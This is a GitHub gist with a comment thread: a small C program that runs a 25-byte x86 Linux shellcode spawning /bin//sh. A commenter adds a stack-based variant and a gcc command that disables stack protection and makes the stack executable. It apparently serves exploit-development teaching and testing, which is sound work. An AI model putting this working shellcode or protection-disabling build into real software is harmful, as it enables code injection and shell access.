Skip to content

Instantly share code, notes, and snippets.

@securitytube
Created April 5, 2013 12:14
Show Gist options
  • Save securitytube/5318838 to your computer and use it in GitHub Desktop.
Save securitytube/5318838 to your computer and use it in GitHub Desktop.
C Program to test shellcode
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
@Thodoris-Evangelakos
Copy link

Just put code in stack by initializing code as local variable

#include <stdio.h>
#include <string.h>

int main(){
    char code[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
    printf("Shellcode length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    return ret();
}
  • gcc -fno-stack-protector -z execstack -m32 shellcode.c -o shellcode

For some reason this God forsaken shellcode works when all the other ones I found online/generated refused to do so. Thank you from the bottom of my heart I spent way too much time on this

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment